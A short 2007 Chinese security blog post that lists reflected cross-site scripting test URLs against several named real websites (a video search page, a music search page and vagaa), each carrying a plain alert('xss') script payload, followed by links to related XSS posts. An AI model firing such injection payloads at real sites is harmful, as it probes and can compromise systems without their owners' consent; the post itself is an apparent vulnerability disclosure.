飘零的代码 piao2010 ’s blog

漏洞测试地址： 
http://www.movvv.com/search.asp?keyword=<script language=javascript>alert(/xss/)</script> 
效果如下图: 

    一听音乐网站: 
http://so.1ting.com/song.do?q=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&sub=++%E6%90%9C%E7%B4%A2
弹出三次!

 
 vagaa网站
<script>alert("xss")</script>
 
 
 

相关日志

• 继续发掘worldpress插件shortstat XSS漏洞 (0)
• 深入分析跨站(XSS) (0)
• [翻译]“Psecudo-Reflective” 跨站蠕虫剖析 (0)
• worldpress插件shortstat XSS （0day） (2)

Tags: XSS

This entry was posted on 星期一, 7月 2nd, 2007 at 20:57 and is filed under 安全相关, 搬家之前. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.